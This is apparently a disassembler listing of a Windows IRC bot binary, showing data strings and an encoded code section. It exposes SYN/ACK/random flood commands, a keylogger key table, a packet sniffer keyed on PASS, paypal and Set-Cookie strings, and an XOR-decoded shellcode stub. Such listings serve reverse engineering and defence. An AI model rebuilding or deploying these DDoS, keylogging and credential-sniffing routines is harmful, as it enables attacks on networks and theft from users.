		dd 0FB0019D1h, 1CAE5A45h, 0F5B3h, 0B0D701C1h, 0C1F71518h
		dd 0EB49442Fh, 0D4CF4F0h, 0B660B41Fh, 0AA13h, 0F4E40066h
		dd 33B935Eh, 69F1C2F6h,	0FD0E7354h, 91EA261Fh, 0C216h
		dd 104101ABh, 7EFD04FBh, 0E3F6D20Dh, 0ED25A6BFh, 80B98885h
		dd 0B4982D13h, 0D93454D7h, 0DF809B83h, 0B2E1AE66h, 451CCCh
		dd 73DF0055h, 0B4A77762h, 5E47CFF5h, 4C89C39Ch,	527E3C3h
		dd 0F4BC83h, 5F601C2h, 7D27136Bh, 0D203ABA5h, 0DE05h, 0B74B013Eh
		dd 4A54520Bh, 24434530h, 31C75BCCh, 1260000h, 0DBB7D59Ah
		dd 0EFB93936h, 27C21DCh, 47AD4A38h, 0AF0000h, 0B097E3BAh
		dd 0F7F845D1h, 0EF9C49EBh, 976Ch, 76A10193h, 5882CCCh
		dd 71A35F90h, 7EADh, 0F56B018Ch, 0A4026C5Ah, 0E256D7D6h
		dd 2B00000h, 8E89D8DAh,	0EF995545h, 0EF6A6342h,	3EEEE4h
		dd 4B1901D6h, 83837B03h, 0E0139137h, 2E4A71h, 2F040035h
		dd 0E5BCA105h, 6F709AE1h, 0AA46A445h, 0B67669A1h, 26C0000h
		dd 5F3D482Fh, 0AC94C10h, 258382h, 0E6A20114h, 0DAB1FE91h
		dd 6B81BAB5h, 4400D1h, 0D34E7154h, 0CC5AA22Bh, 43D4C8Ch
		dd 8302h, 1470080h, 99C270Ah, 0DCDDCF46h, 0AD419B3h, 0FE863D09h
		dd 97E6ECACh, 2CE73Fh, 48060268h, 8DA578D5h, 0ECF08934h
		dd 0B0C2537Bh, 4A72A9E4h, 1650000h, 0FC253816h,	0E731A342h
		dd 23BE63AFh, 10B0000h,	9B2089A7h, 0E1C20865h, 62B5F269h
		dd 0E94723B3h, 6248h, 7C2C01F9h, 0E974B29h, 0D0B9B8B4h
		dd 64247Dh, 0DE010063h,	0C6413DA0h, 0E35E2AC7h,	84D2A9Ah
		dd 0F7000Bh, 16F80E37h,	41A8A5EBh, 0D6374626h, 362614AEh
		dd 43003Ch, 3F8D2114h, 755FDC9Dh, 0C8BFh, 4EC60175h, 971C3784h
		dd 3376ECF9h, 6F4605h, 0A8C9018Dh, 5D54C57Bh, 48C089B0h
		dd 0A78CA77Fh, 88941C2h, 7D0000h, 96E1D17Ch, 0D3A38145h
		dd 3106B2h, 0F3A70057h,	0D3EF2263h, 26CE0110h, 1EF0058h
		dd 0A8342338h, 70D31A89h, 0E7ACF0h, 0E17700F8h,	0E9F06662h
		dd 47D9A349h, 7D721905h, 822EB4Ch, 280099h, 4D6356ECh
		dd 0EAD074CEh, 2CE00E1h, 0E7D82F9Dh, 0DB69DB9Bh, 0FBF46BE6h
		dd 2951BF1h, 550365h, 3CB3003Fh, 5CF96E59h, 0F25A25CCh
		dd 0ECBAh, 0ED55029Fh, 0F0525B38h, 7BF3D624h, 403A506Ah
		dd 1DD00CBh, 251ED11Bh,	0BC3589E5h, 2D2009Bh, 1A018179h
		dd 993ECB0Ch, 999EA6C8h, 80FA3825h, 0DD6CBEh, 15A400CEh
		dd 1652B911h, 0AD0F10B6h, 0B53D7D5Bh, 0A59Ch, 9E7F029Eh
		dd 18BF828h, 251A212Dh,	7C78ABFEh, 0A770h, 0B123011Ch
		dd 7804B6ECh, 0DE5D69BAh, 7A8A3E9Bh, 1200000h, 0AC6A1979h
		dd 5D9BB67Bh, 5DA5BB59h, 0EF1E6033h, 1990000h, 87DC2AB3h
		dd 0DCCA3979h, 19F0010h, 4EA47C37h, 0FA116620h,	22F0000h
		dd 0B26F557Dh, 0E4AE2FEDh, 1700028h, 4506B6D1h,	9EA6A4Dh
		dd 0E06FD7FDh, 0C05D4D40h, 8131C7AEh, 0F581h, 55A3015Dh
		dd 0A4D8E4A2h, 79BD71D6h, 5D6EBBh, 4F4A01A2h, 92159D9h
		dd 801BDE85h, 150005Fh,	57274009h, 5B27D8Dh, 7A79DEC3h
		dd 0BA2311h, 89B700CAh,	4997CDA3h, 0D4C3C2F5h, 40A7CAE5h
		dd 17400A1h, 28767A79h,	97CA1B70h, 7C93h, 389C019Dh, 93ED1585h
		dd 0C0BD7669h, 19B0067h, 7909E544h, 796F9C28h, 9D22h, 9E0A02BFh
		dd 0AD7E147h, 0AC4914EFh, 2BB008Ch, 0A685B597h,	0C204FAEEh
		dd 605B6454h, 1B80000h,	0D270333Fh, 0F91C1039h,	137D25FDh
		dd 20B00C4h, 82DFD72Bh,	2D2A2E68h, 9A161ABBh, 262Bh, 453901A3h
		dd 6D01D316h, 0FE6Eh, 130901BFh, 0A7DF9CFEh, 924D6921h
		dd 0D3Ah, 219801C0h, 0F6C9844Ch, 6AFADB6Bh, 0C2B3h, 0D22700BFh
		dd 0B32428B5h, 1CE14Fh,	693400B9h, 0E11011BAh, 1310000h
		dd 67E000DFh, 4102493Fh, 2AD0000h, 198386B4h, 259D3CF5h
		dd 0F13C5972h, 31ACBEDAh, 5ADEE32Ch, 11BCB865h,	0B20000h
		dd 69FE618Bh, 4E2B5409h, 5A2392F2h, 0E7B7B2A1h,	0DB63C533h
		dd 0D5DD03h, 0F56100B3h, 158812C3h, 9103372Dh, 63E339BCh
		dd 174EAD26h, 58A0A536h, 10600FBh, 2EFB3CF7h, 83B55BC1h
		dd 0BBA31072h, 0A02FFD07h, 0D4E15524h, 1080035h, 667B4459h
		dd 90888137h, 0A5120996h, 9E4ED991h, 0E62EA979h, 997Dh
		dd 0BF7B026Dh, 0F072147h, 72E4D392h, 56E8ABD1h,	1520000h
		dd 6B43049Ah, 2290C095h, 56230524h, 1150000h, 0E08AB929h
		dd 511D27F8h, 8B19BAh, 68020153h, 8976A326h, 14EDF120h
		dd 14B7E468h, 1560000h,	0B2C72594h, 9296566Ch, 8DA5D42h
		dd 164Ch, 86FA027Ch, 5CF9D6F4h,	11D379CBh, 8A42h, 9F9300AAh
		dd 0F52D31DAh, 0E1EA081Ch, 0F5CA5B6Ah, 3B72h, 0BDBD028Bh
		dd 321D77D7h, 764F6DF2h, 80374F67h, 9F4B8341h, 3AA393DCh
		dd 6F9A56BDh, 1B500E4h,	6A20CF5Ch, 0D9284D20h, 0F3FD5483h
		dd 1B20000h, 0F9C5030Ah, 57D59716h, 0B3691C4Ch,	2610000h
		dd 4EDBD023h, 0EF095612h, 5D1D3F12h, 210000h, 813C7004h
		dd 7FA6DF6h, 70C5C194h,	0CAB6h,	0C71D0022h, 6A3865A1h
		dd 6D5EE776h, 634C159h,	2620000h, 0A0669F24h, 6BDDD862h
		dd 46BDB251h, 0DEC7CCD3h, 89251DA4h, 0EA42C0h, 30ED36D4h
		dd 0AD2F8341h, 0EB5C17DCh, 14Bh	dup(0)
seg001		ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00048000 ( 294912.)
; Section size in file		: 00048000 ( 294912.)
; Offset to raw	data for section: 00023000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 423000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_423000	dd 0				dd offset sub_4036CF
		dd offset sub_404EE6
		dd offset sub_4200A4
dword_423010	dd 0		dword_423014	dd 0				dd offset sub_416832
		dd offset sub_41C364
		dd offset sub_41D0B6
		dd offset sub_41DF28
dword_423028	dd 0		dword_42302C	dd 0				dd offset sub_41D15B
dword_423034	dd 0		dword_423038	dd 0				dd offset sub_41DF39
dword_423040	dd 4 dup(0)	unk_423050	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: seg000:004013B4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:004011A3o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4231E0	db    2			; DATA XREF: seg000:00401509o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C	db    2			; DATA XREF: seg000:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
		dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+4EBo
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+44Fo
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401BD6+312o
					; seg000:0040F961o ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401BD6+2F2o
					; seg000:0040F94Ao
aSyn		db 'syn',0              ; DATA XREF: sub_401BD6+2D2o
					; seg000:0040F932o
dword_4233B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+15Fo
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+EEo
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_423438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+70o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: seg000:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BB4	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423BEC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: seg000:004021C8o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:00402168o
					; seg000:0040F810o
		align 10h
asc_423C30:				; DATA XREF: seg000:00402146o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: seg000:00402423o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:004023E0o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:0040228Ao
		align 10h
off_423C80	dd offset dword_4244F8	; DATA XREF: seg000:0040277Ar
		dd offset off_4244F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 3 dup(0)
dword_423CA4	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg002:00423C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg002:00423C88o
off_4244F4	dd offset aHeloRndnickMai+3Dh ;	DATA XREF: seg002:00423C84o
dword_4244F8	dd 544F42h	unk_4244FC	db    2			; DATA XREF: seg000:004027D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_424544	db    2			; DATA XREF: seg000:00402787o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: seg000:00402711o
		align 4
unk_424598	db    2			; DATA XREF: seg000:00402662o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_4245E4	db    2			; DATA XREF: seg000:004025DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
dword_42462C	dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
					; DATA XREF: seg000:00402561o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	73203A72h
		dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
		dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_42468A

; =============== S U B	R O U T	I N E =======================================



sub_42467A	proc far		; CODE XREF: sub_42467A:loc_42468Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_424682:				; CODE XREF: sub_42467A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_424682
		jmp	short loc_42468F
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: seg002:00424678j
		call	near ptr sub_42467A


loc_42468F:				; CODE XREF: sub_42467A+Ej
		jo	short loc_4246F3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424711
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_4246F3:				; CODE XREF: sub_42467A:loc_42468Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_424711:				; CODE XREF: sub_42467A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42467A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
